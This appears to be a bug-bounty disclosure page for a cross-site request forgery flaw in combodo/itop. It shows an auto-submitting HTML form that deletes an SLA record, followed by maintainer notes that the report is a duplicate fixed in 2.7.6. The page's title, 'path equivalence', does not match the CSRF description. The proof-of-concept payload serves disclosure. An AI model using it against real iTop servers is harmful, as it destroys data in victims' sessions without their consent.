Improper Resolution of Path Equivalence in combodo/itop

Valid

Reported on

Nov 24th 2021

Description

csrf bug

Proof of Concept

bellow request is vulnerable to csrf attack

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8008/web/pages/UI.php?operation=delete&class=SLA&id=1&c[menu]=SLA" method="POST">
<input type="hidden" name="transaction&#95;id" value="admE469&#46;tmp" />
<input type="hidden" name="operation" value="bulk&#95;delete&#95;confirmed" />
<input type="hidden" name="filter" value="&#37;5B&#37;22SELECT&#43;&#37;60SLA&#37;60&#43;FROM&#43;SLA&#43;AS&#43;&#37;60SLA&#37;60&#43;WHERE&#43;&#37;28&#37;60SLA&#37;60&#46;&#37;60id&#37;60&#43;IN&#43;&#37;28&#37;271&#37;27&#37;29&#37;29&#37;22&#37;2C&#37;5B&#37;5D&#37;2C&#37;5B&#37;5D&#37;5D" />
<input type="hidden" name="class" value="SLA" />
<input type="hidden" name="selectObject&#91;&#93;" value="1" />
<input type="hidden" name="c&#91;menu&#93;" value="SLA" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>

We are processing your report and will contact the combodo/itop team within 24 hours. 2 years ago

A combodo/itop maintainer validated this vulnerability 2 years ago

ranjit-git has been awarded the disclosure bounty

The fix bounty is now up for grabs

Pierre Goiffon

commented 3 months ago

Maintainer

This is a duplicate of https://huntr.dev/bounties/0a39630d-f4b9-4468-86d8-aea3b02f91ae/?token=4d1195d5a50a9f0f7ae9fc24a2b0a3bd907427edaf7ee6ac1f8f31c11d8b7a5d2c204957125e63fd7cf3a87df6d5d12a35f9c7107ba5f33b5f668fa199a36932448b9bf186daa62cb32b5635770730eb68eeeba079b8864ab00358fd0dc65fa406d986525814a14951db2025e117f0098a1f270f5a5b2c935a65b00b5106e5511b61d501c4357654cb8ea76b

Was fixed in 2.7.6 Corresponding GitHub advisory : https://github.com/Combodo/iTop/security/advisories/GHSA-33pr-5776-9jqf

Pierre Goiffon marked this as fixed in 2.7.6 with commit 7757f1 3 months ago

The fix bounty has been dropped

This vulnerability will not receive a CVE

Pierre Goiffon published this vulnerability 3 months ago

to join this conversation